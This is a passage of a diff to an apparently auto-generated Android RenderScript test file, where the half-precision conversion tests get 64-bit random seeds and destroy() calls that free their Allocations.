+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x754f97bdbbc7b5dbl, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testConvertFloat2Half2Float2(inV, out);
             verifyResultsConvertHalf2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Half2Float2: " + e.toString());
         }
@@ -21241,9 +22158,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat2Half2Float2(inV, out);
             verifyResultsConvertHalf2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat2Half2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -21299,11 +22218,12 @@
     }
 
     private void checkConvertHalf3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb1e2d6b9l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x755160d8b1e2d6b9l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testConvertFloat3Half3Float3(inV, out);
             verifyResultsConvertHalf3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Half3Float3: " + e.toString());
         }
@@ -21311,9 +22231,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat3Half3Float3(inV, out);
             verifyResultsConvertHalf3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat3Half3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -21369,11 +22291,12 @@
     }
 
     private void checkConvertHalf4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa7fdf797l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x755329f3a7fdf797l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testConvertFloat4Half4Float4(inV, out);
             verifyResultsConvertHalf4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Half4Float4: " + e.toString());
         }
@@ -21381,9 +22304,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertFloat4Half4Float4(inV, out);
             verifyResultsConvertHalf4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertFloat4Half4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -21445,11 +22370,12 @@
     }
 
     private void checkConvertHalf2Double2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb2251ea8l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb45b0c09b2251ea8l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             script.forEach_testConvertDouble2Half2Double2(inV, out);
             verifyResultsConvertHalf2Double2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Half2Double2: " + e.toString());
         }
@@ -21457,9 +22383,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble2Half2Double2(inV, out);
             verifyResultsConvertHalf2Double2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble2Half2Double2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Double2(Allocation inV, Allocation out, boolean relaxed) {
@@ -21515,11 +22443,12 @@
     }
 
     private void checkConvertHalf3Double3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x880afd4l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb4a7d3910880afd4l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             script.forEach_testConvertDouble3Half3Double3(inV, out);
             verifyResultsConvertHalf3Double3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Half3Double3: " + e.toString());
         }
@@ -21527,9 +22456,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble3Half3Double3(inV, out);
             verifyResultsConvertHalf3Double3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble3Half3Double3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Double3(Allocation inV, Allocation out, boolean relaxed) {
@@ -21585,11 +22516,12 @@
     }
 
     private void checkConvertHalf4Double4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5edc4100l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb4f49b185edc4100l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             script.forEach_testConvertDouble4Half4Double4(inV, out);
             verifyResultsConvertHalf4Double4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Half4Double4: " + e.toString());
         }
@@ -21597,9 +22529,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertDouble4Half4Double4(inV, out);
             verifyResultsConvertHalf4Double4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertDouble4Half4Double4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Double4(Allocation inV, Allocation out, boolean relaxed) {
@@ -21661,11 +22595,12 @@
     }
 
     private void checkConvertHalf2Char2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf6709821l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5613b55df6709821l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Half2Char2(inV, out);
             verifyResultsConvertHalf2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Half2Char2: " + e.toString());
         }
@@ -21673,9 +22608,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Half2Char2(inV, out);
             verifyResultsConvertHalf2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Half2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -21730,11 +22667,12 @@
     }
 
     private void checkConvertHalf3Char3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x55785d15l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5613bfff55785d15l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Half3Char3(inV, out);
             verifyResultsConvertHalf3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Half3Char3: " + e.toString());
         }
@@ -21742,9 +22680,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Half3Char3(inV, out);
             verifyResultsConvertHalf3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Half3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -21799,11 +22739,12 @@
     }
 
     private void checkConvertHalf4Char4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb4802209l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5613caa0b4802209l, -1.2800000000000000000e+02, 1.2700000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Half4Char4(inV, out);
             verifyResultsConvertHalf4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Half4Char4: " + e.toString());
         }
@@ -21811,9 +22752,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Half4Char4(inV, out);
             verifyResultsConvertHalf4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Half4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -21874,11 +22817,12 @@
     }
 
     private void checkConvertHalf2Uchar2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x6869a68el, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x755034ee6869a68el, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Half2Uchar2(inV, out);
             verifyResultsConvertHalf2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Half2Uchar2: " + e.toString());
         }
@@ -21886,9 +22830,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Half2Uchar2(inV, out);
             verifyResultsConvertHalf2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Half2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -21943,11 +22889,12 @@
     }
 
     private void checkConvertHalf3Uchar3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5e84c76cl, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7551fe095e84c76cl, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Half3Uchar3(inV, out);
             verifyResultsConvertHalf3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Half3Uchar3: " + e.toString());
         }
@@ -21955,9 +22902,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Half3Uchar3(inV, out);
             verifyResultsConvertHalf3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Half3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -22012,11 +22961,12 @@
     }
 
     private void checkConvertHalf4Uchar4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x549fe84al, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7553c724549fe84al, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Half4Uchar4(inV, out);
             verifyResultsConvertHalf4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Half4Uchar4: " + e.toString());
         }
@@ -22024,9 +22974,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Half4Uchar4(inV, out);
             verifyResultsConvertHalf4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Half4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -22087,11 +23039,12 @@
     }
 
     private void checkConvertHalf2Short2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfd7771a7l, -3.2753000000000000000e+04, 3.2752000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x755020f2fd7771a7l, -3.2753000000000000000e+04, 3.2752000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Half2Short2(inV, out);
             verifyResultsConvertHalf2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Half2Short2: " + e.toString());
         }
@@ -22099,9 +23052,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Half2Short2(inV, out);
             verifyResultsConvertHalf2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Half2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -22156,11 +23111,12 @@
     }
 
     private void checkConvertHalf3Short3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf3929285l, -3.2753000000000000000e+04, 3.2752000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7551ea0df3929285l, -3.2753000000000000000e+04, 3.2752000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Half3Short3(inV, out);
             verifyResultsConvertHalf3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Half3Short3: " + e.toString());
         }
@@ -22168,9 +23124,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Half3Short3(inV, out);
             verifyResultsConvertHalf3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Half3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -22225,11 +23183,12 @@
     }
 
     private void checkConvertHalf4Short4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe9adb363l, -3.2753000000000000000e+04, 3.2752000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7553b328e9adb363l, -3.2753000000000000000e+04, 3.2752000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Half4Short4(inV, out);
             verifyResultsConvertHalf4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Half4Short4: " + e.toString());
         }
@@ -22237,9 +23196,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Half4Short4(inV, out);
             verifyResultsConvertHalf4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Half4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -22300,11 +23261,12 @@
     }
 
     private void checkConvertHalf2Ushort2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x224cddf6l, 0.0000000000000000000e+00, 6.5504000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xb4798e36224cddf6l, 0.0000000000000000000e+00, 6.5504000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Half2Ushort2(inV, out);
             verifyResultsConvertHalf2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Half2Ushort2: " + e.toString());
         }
@@ -22312,9 +23274,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Half2Ushort2(inV, out);
             verifyResultsConvertHalf2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Half2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -22369,11 +23333,12 @@
     }
 
     private void checkConvertHalf3Ushort3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x78a86f22l, 0.0000000000000000000e+00, 6.5504000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb4c655bd78a86f22l, 0.0000000000000000000e+00, 6.5504000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Half3Ushort3(inV, out);
             verifyResultsConvertHalf3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Half3Ushort3: " + e.toString());
         }
@@ -22381,9 +23346,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Half3Ushort3(inV, out);
             verifyResultsConvertHalf3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Half3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -22438,11 +23405,12 @@
     }
 
     private void checkConvertHalf4Ushort4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xcf04004el, 0.0000000000000000000e+00, 6.5504000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb5131d44cf04004el, 0.0000000000000000000e+00, 6.5504000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Half4Ushort4(inV, out);
             verifyResultsConvertHalf4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Half4Ushort4: " + e.toString());
         }
@@ -22450,9 +23418,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Half4Ushort4(inV, out);
             verifyResultsConvertHalf4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Half4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -22513,11 +23483,12 @@
     }
 
     private void checkConvertHalf2Int2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xdcfe841al, -2.1464350730000000000e+09, 2.1464350720000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc677873adcfe841al, -2.1464350730000000000e+09, 2.1464350720000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Half2Int2(inV, out);
             verifyResultsConvertHalf2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Half2Int2: " + e.toString());
         }
@@ -22525,9 +23496,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Half2Int2(inV, out);
             verifyResultsConvertHalf2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Half2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -22582,11 +23555,12 @@
     }
 
     private void checkConvertHalf3Int3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x26a69450l, -2.1464350730000000000e+09, 2.1464350720000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc677877a26a69450l, -2.1464350730000000000e+09, 2.1464350720000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Half3Int3(inV, out);
             verifyResultsConvertHalf3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Half3Int3: " + e.toString());
         }
@@ -22594,9 +23568,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Half3Int3(inV, out);
             verifyResultsConvertHalf3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Half3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -22651,11 +23627,12 @@
     }
 
     private void checkConvertHalf4Int4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x704ea486l, -2.1464350730000000000e+09, 2.1464350720000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc67787b9704ea486l, -2.1464350730000000000e+09, 2.1464350720000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Half4Int4(inV, out);
             verifyResultsConvertHalf4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Half4Int4: " + e.toString());
         }
@@ -22663,9 +23640,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Half4Int4(inV, out);
             verifyResultsConvertHalf4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Half4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -22726,11 +23705,12 @@
     }
 
     private void checkConvertHalf2Uint2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf45cbe1l, 0.0000000000000000000e+00, 4.2928701440000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5613b9d30f45cbe1l, 0.0000000000000000000e+00, 4.2928701440000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Half2Uint2(inV, out);
             verifyResultsConvertHalf2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Half2Uint2: " + e.toString());
         }
@@ -22738,9 +23718,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Half2Uint2(inV, out);
             verifyResultsConvertHalf2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Half2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -22795,11 +23777,12 @@
     }
 
     private void checkConvertHalf3Uint3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6e4d90d5l, 0.0000000000000000000e+00, 4.2928701440000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5613c4746e4d90d5l, 0.0000000000000000000e+00, 4.2928701440000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Half3Uint3(inV, out);
